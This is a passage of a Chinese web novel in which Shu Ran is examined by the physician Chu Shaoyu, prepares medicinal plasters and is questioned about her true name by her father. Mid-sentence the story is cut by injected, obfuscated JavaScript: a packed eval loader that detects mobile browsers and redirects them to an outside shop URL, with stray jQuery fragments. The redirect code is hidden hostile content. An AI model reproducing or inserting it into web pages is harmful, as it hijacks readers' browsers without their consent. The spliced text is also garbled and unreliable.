“真的假的?”
楚少瑜见她面色确实透着几分苍白,半信半疑地将案上的脉枕推正了些,“手伸出来,我给你把个脉瞧瞧。”
舒冉从善如流地挽起一小截袖口,将手腕搭了上去。
楚少瑜依着规矩,覆上一方素净的丝帕,这才将三指搭在她的腕上,凝神细听。
起初,楚少瑜还当舒冉是拿他寻开心,可随着指腹下脉象的跳动,他原本散漫的神情渐渐收敛,眉头也跟着一点点蹙了起来。
片刻后,他收回手,扯下丝帕,脸色不大好看。
“怎么了大夫,你这样好像我得了什么不治之症一样。”
舒冉怀疑楚少瑜想捉弄她。
“你这身子是怎么养的?”楚少瑜一边提笔蘸墨,一边没好气地抱怨。
“啊?”
“你前些日子就受过冻,还没好全,最近又没仔细将养。这大冷天的,你是不是穿得太薄了,还是又贪嘴吃冰的了?”
说着,他执起笔快速写着药方。
“你平时经常手脚冰凉吧,这不仅是膝盖的寒气,还得内调。我先给你开个驱寒固本的方子,你拿回去早晚煎服,一顿都不能落下。”
“是吗?”舒冉挠挠头,心里没太大的实感,随口道:“我知道了,谢谢啊。”
“不要随便敷衍大夫。”
听出她语气里的漫不经心,楚少瑜抬起头瞪了她一眼,“药吃完之后再过来复诊。”
“一定一定。”
舒冉有些心虚,只好端正姿态,连连点头。
楚少瑜这才冷哼一声,低头继续写方子。
舒冉坐在小杌子上,百无聊赖地用手杵着下巴看着他笔走龙蛇。
被楚少瑜刚才那么一通念叨,舒冉回想一下,自己好像确实经常手脚发凉。只是她前世也是如此,早就习以为常,根本没当回事,没想到身体已经在报警了。
片刻后,楚少瑜将写好的药方吹干墨迹,连同几贴黑漆漆的膏药一并递了过去。
“药方拿好,我这里药不全,你自己去前头的药铺抓。膏药回去用炭火烤软,及时贴上。”
“谢了。”
舒冉接过药方,顺手摸出一个油纸包递了过去,“唔,这个给你当诊金吧。”
“我这是义诊,不收诊金。这是什么东西?”
楚少瑜嘴里虽然推辞着,手上的动作却没停,话音未落便已利索地拆开了纸包。
“丝窝虎眼糖,上午太子殿下赏的。”
舒冉随口答道。
早上太子离去前,特意让吴平把案几上的点心都给他们三人打包上了,见她吃得多,又命人去多取了一份。
舒冉觉得这领导实在体贴,便有些不好意思地全收下了。
“你要是不爱吃,我下次给你带点儿别的。”舒冉又补充了一句。
“爱吃,下次多带点。”
楚少瑜眼疾手快地将纸包拢过来。
“你当宫里的甜食房是我开的啊,我一共也才被赏过两次。”
楚少瑜顿时怒了,“还说你不是来炫耀的!”
“朋友,你在找茬吗?我怎么炫耀了?”舒冉面无表情地看着他。
“你是真不知道还是假不知道?”楚少瑜疑惑地斜睨道,“这糖是宫里特供给陛下的,珍贵得很。我家老头一年也不一定能得一次赏。”
舒冉懵了。
“是这样吗?”
“我骗你干嘛!”
舒冉想了想,恍然点头:“难怪这么好吃。”
她还以为是自己前世今生加起来都没吃过什么好东西的缘故。
“太子殿下真是好人啊。”
比二皇子好太多了。
舒冉再次感慨。
“行了,快去抓药。”楚少瑜挥了挥手,催促她,“晚上天更冷了,你别在外面乱晃悠。”
“好好好。”
将药方与膏药收好,舒冉起身告辞。
她顺道去了前头的药铺,按着方子抓齐了汤药后,登上马车,径直回了舒府。
*
傍晚,正院厢房。
屋子里弥漫着一股浓重的药气。
“玥儿,来,咱们先把药喝了。”郑氏道。
刚醒来的舒玥斜靠在床头,发丝凌乱,面无血色,时不时咳嗽几声。
丫鬟白霜端着托盘走过来。
郑氏端起药碗,发觉碗壁有些凉了,又将药碗放回去。
“去把这药拿到小炉上热一热再端来。”
“是,夫人。”白霜应声退下。
舒长儒站在床榻前,看着病恹恹的二女儿,眉头紧蹙,问道:“好端端的,你怎么会突然跳进那池子里去?”
听闻此言,舒玥肩膀猛地一缩。
“我……父亲……我……”
她下意识地攥紧了锦被,眼神惊惶地闪躲开来,嗫嚅了半晌,最后摇着头,什么也说不出来。
见她这般遮遮掩掩的模样,舒长儒的眉头拧得更紧。
正欲追问,一旁的郑氏赶忙出声打圆场:“老爷,玥儿刚醒过来,惊魂未定,脑子里还糊涂着呢。不如等她身子好些了,之后再细问吧。”
正巧此时,白霜端着托盘去而复返。
她并未将药递过来,而是先抬眼小心翼翼地觑了舒长儒一眼,又看向郑氏,面露难色地迟疑道:“老爷,夫人……耳房那两个煎药最好的银药釜,方才都被大小姐房中的翠菱姑娘借去了。奴婢……奴婢来请示老爷夫人,给二小姐先用瓦罐凑合着行不行?”
不知为何,舒玥身子突然抖了一下。
郑氏还未开口,舒长儒平淡的声音先在屋内响起。
“用瓦罐。”
他偏过头,目光冷冷地在白霜脸上扫过。
白霜登时惊出一身冷汗,连忙垂下头去:“是、是!奴婢这就去!”
说完,她端着托盘立刻退了出去。
舒长儒收回视线,转过身,温言安抚了舒玥几句,嘱咐她好好静养,随后转身离开了东厢房。
*
西侧院里。
翠菱正在小厨房和吴大娘一起熬药,舒冉和翠荷待在正厅里,对着炭盆烤膏药。
这膏药和她以前用过的不同。
不是那种撕开背胶就能直接往身上贴的贴膏,而是硬邦邦的一整块,像极了一块黑乎乎的沥青。
用的时候,须得拿铜夹子夹住,在炭火上小心烘烤。待微微融化发软,再趁热均匀地摊抹在裁剪好的粗棉布上。
刚听翠菱和翠荷解释完后,舒冉嘀咕了一句“难怪那家伙说要用火烤”。
她与翠荷已经做好两块,敷到了膝盖上。
现在,她们正打算将剩下膏药饼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628694|204244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都提前摊好,待到要用时,拿出来稍微在火上烘一烘便成。
正忙活着,院门外隐约响起了叩门声。
舒冉手上的动作一顿,疑惑道:“好像有人敲门?翠荷,你去瞧瞧。”
“是。”
翠荷将手里的铜夹子和半融的膏药小心地搁在一旁的布上,快步走了出去。
刚一拉开门,看清门外站着的人时,翠荷猛地吸了口凉气,赶忙福身行礼。
“老、老爷!”
舒长儒站在廊檐下,道:“冉儿在做什么,里面可还方便进去?”
翠荷道:“姑娘正在屋里烤膏药。”
舒长儒点点头,迈步跨进门槛。
刚一进来,一股浓烈苦涩的草药味扑面而来。
他绕过前头的小厅,挑开帘子走进里屋的厢房,舒长儒的视线立刻落在了窗边。
舒冉身上披着件外衫,正坐在矮凳上。她身前生着个炭盆,手里拿着把长铜夹子,正夹着一块黑漆漆的膏药,在炭火上方来回烘烤。
方才在屋里听到了翠荷的请安声,舒冉已经知道了来人是谁。
见舒长儒进来,她也只是眼皮微抬,看了他一眼,并未起身行礼。
翠荷跟在后面,见自家姑娘这般怠慢,脸都吓白了几分,生怕老爷当场发作。
然而,舒长儒看起来却并未介意,反而走到炭盆前,宽大的衣摆随动作轻轻垂落。在翠荷错愕的目光中,他竟然弯下腰,手伸向了舒冉的手边。
“我来吧。”
他想从舒冉手中抽出那把火夹子。
舒冉瞥了一眼高杌子上的膏药和夹子,“那里还有。”
于是,舒长儒收回手,转而拿起了刚才翠荷用的那把火夹子和剩下的药饼。
“你先出去。”
舒长儒侧过头,对着一旁呆住的翠荷吩咐道。
翠荷心下发紧,犹豫着看向舒冉。见自家姑娘低头烤药没有反应,这才回道:
“……是,老爷。”
说完,她离开了屋子。
屋内只剩下父女二人。
舒长儒坐在另一个矮凳上,一手撩起宽大的袖袍,另一手握着铜夹子,将那块膏药重新悬在炭火之上烤炙。
炭火盆里偶尔爆出一两点火星。
“哪里不舒服吗。”
舒长儒望着跳跃的火苗,打破了一室的寂静。
“今早谢恩时冻着了,之前落水时受的寒气也没彻底好,大夫说得调理调理。”
舒冉并未转头,依旧专心致志地盯着夹子上的膏药,她的语气也是淡淡的,没有多余的起伏。
屋内再次陷入沉默。
过了一会儿,舒长儒将烤得微软的药膏翻了个面,又问:“那位大夫是谁,可信得过?”
“一个朋友。”
“……若有缺的药材,或是要请太医,可以来找我。”
舒冉没有回应。
舒长儒似乎也习惯了她的冷淡态度。他看着那明亮的炭火,握着火夹子的手指微微收紧,问道:
“……我还不知道,你的名字是?”
舒冉的手微微一顿。
她终于转过头,看向眼前这个两鬓已有些许霜白的男人。
“舒冉。”
她声音很轻,却也很清晰。
“我的名字,也是舒冉。”